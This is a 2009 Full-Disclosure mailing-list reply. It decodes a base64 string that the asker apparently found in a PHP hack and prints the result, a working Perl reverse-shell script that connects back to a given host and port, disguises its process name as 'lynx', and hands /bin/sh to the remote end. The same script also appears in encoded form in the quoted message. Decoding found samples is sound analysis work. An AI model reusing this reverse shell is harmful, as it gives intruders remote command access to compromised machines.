full-disclosure - Re: connect back PHP hack

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Message-ID: <491636e50902101241w298519ecnf7f92401784bfefa@mail.gmail.com>
Date: Wed, 11 Feb 2009 00:41:36 +0400
From: Clement Dupuis <clement.dupuis@...il.com>
To: "sr." <staticrez@...il.com>
Cc: Full-Disclosure <full-disclosure@...ts.grok.org.uk>,
	pen-test list <pen-test@...urityfocus.com>
Subject: Re: connect back PHP hack

It is base64 encoding.  The two dashes at the end gives it away.

Something similar to:

#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

I used the free decoder encoder at:  http://ostermiller.org/calc/encode.html


Take care

Clement



On Tue, Feb 10, 2009 at 10:23 PM, sr. <staticrez@...il.com> wrote:

> can anyone tell me what encoding this is?
>
>
> $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
>
> aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
>
> hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
>
> sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
>
> kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
>
> KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
> OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
>
> this has to do with old php 4.x.x version with magic quotes enabled.
> i'm just trying to figure out what the connect back code does.
>
> any input is much appreciated.
>
> thx,
>
> sr.
>
>
>

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